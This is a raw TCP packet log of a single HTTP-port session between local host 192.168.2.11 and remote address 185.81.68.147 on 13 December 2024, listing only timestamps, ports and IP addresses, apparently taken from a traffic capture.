Dec 13, 2024 08:18:56.457108021 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.457119942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.457190037 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.458121061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.458291054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.458353043 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.459366083 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.459435940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.459472895 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.460562944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.460675955 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.460747957 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.461704969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.461802006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.461860895 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.462888956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.463017941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.463222980 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.463341951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.463399887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.463412046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.463437080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.463567019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.463606119 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.464167118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.464224100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.464235067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.464261055 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.464339018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.464375019 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.465037107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.465058088 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.465095043 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.465177059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.465188026 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.465221882 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.465913057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.465965986 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.465976000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.466003895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.466003895 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.466042042 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.466654062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.466711998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.466722012 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.466747046 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.466815948 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.466852903 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.467513084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.467585087 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.467595100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.467617035 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.467732906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.467768908 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.468367100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.468405008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.468414068 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.468436003 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.468530893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.468568087 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.469175100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.469228983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.469239950 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.469264984 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.469309092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.469378948 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.469999075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.470232010 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.470241070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.470268011 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.471637011 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.471707106 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.472524881 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.472538948 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.472549915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.472575903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.472593069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.472594023 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.472604036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.472615004 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.472621918 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.472625971 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.472636938 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.472645998 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.472647905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.472671032 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.472690105 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.473136902 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.473149061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.473160028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.473177910 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.473326921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.473361969 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.474081039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.474097013 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.474107027 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.474129915 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.474267006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.474298000 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.474909067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.474920988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.474931955 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.474956989 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.475053072 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.475085974 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.475469112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.475507021 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.475518942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.475544930 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.475716114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.475750923 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.476524115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.476536036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.476546049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.476572037 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.476658106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.476696968 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.477332115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.477344036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.477355003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.477385044 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.477511883 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.477543116 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.478143930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.478199005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.478209972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.478220940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.478236914 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.478255987 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.478940010 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.478950977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.478961945 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.478984118 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.479209900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.479244947 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.479866028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.479881048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.479893923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.479926109 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.480047941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.480101109 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.480777979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.480948925 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.480957985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.480968952 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.480987072 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.481024027 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.481441021 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.481451988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.481462002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.481507063 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.481614113 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.481667042 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.482223988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.482376099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.482386112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.482394934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.482412100 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.482434034 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.483036995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.483047962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.483061075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.483083963 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.483146906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.483182907 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.484200954 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.484213114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.484224081 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.484246969 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.484368086 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.484405041 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.484975100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.484987020 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.484997034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.485027075 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.485121965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.485157967 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.485785961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.485797882 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.485809088 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.485831976 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.485872984 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.485905886 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.486505985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.486517906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.486529112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.486552000 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.486649990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.486685038 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.487669945 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.487682104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.487693071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.487716913 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.487852097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.487888098 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.488977909 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.489353895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.489366055 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.489398003 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.489414930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.489449024 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.491137028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.491723061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.491766930 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.491854906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.492801905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.492863894 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.493355036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.493366957 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.493377924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.493417978 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.493604898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.493642092 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.494292974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.494304895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.494317055 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.494350910 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.494441986 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.494478941 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.495090008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.495100975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.495110989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.495150089 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.495222092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.495277882 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.495887995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.496037006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.496047974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.496057987 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.496087074 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.496126890 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.496815920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.496947050 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.496983051 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.497215033 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.497226954 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.497237921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.497248888 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.497257948 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.497261047 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.497268915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.497279882 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.497287989 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.497292042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.497303963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.497304916 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.497317076 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.497339964 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.497351885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.497361898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.497378111 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.497380018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.497404099 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.497539997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.497606993 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.498121977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.498261929 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.498307943 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.498393059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.498408079 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.498457909 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.498934031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.498948097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.498958111 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.498969078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.498986006 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.499036074 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.499084949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.499095917 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.499104977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.499115944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.499140978 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.499165058 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.499690056 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.499701977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.499713898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.499730110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.499739885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.499747992 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.499782085 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.499798059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.499818087 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.499841928 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.499852896 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.499886990 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.500720024 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.500735998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.500778913 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.500894070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.500905037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.500958920 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.501498938 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.501766920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.501777887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.501789093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.501811028 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.501871109 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.502194881 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.502355099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.502366066 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.502396107 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.502491951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.502542019 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.503007889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.503142118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.503153086 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.503180981 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.503302097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.503360987 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.503926992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.504076958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.504086971 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.504098892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.504117966 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.504153013 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.504898071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.504914045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.504925013 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.504936934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.504956961 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.504993916 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.505572081 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.505582094 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.505594015 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.505637884 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.505853891 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.505916119 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.506366968 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.506377935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.506388903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.506417990 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.506508112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.506576061 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.507390022 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.507400036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.507411003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.507467985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.507544994 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.507607937 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.508188963 CET	80	49726	185.81.68.147	192.168.2.11
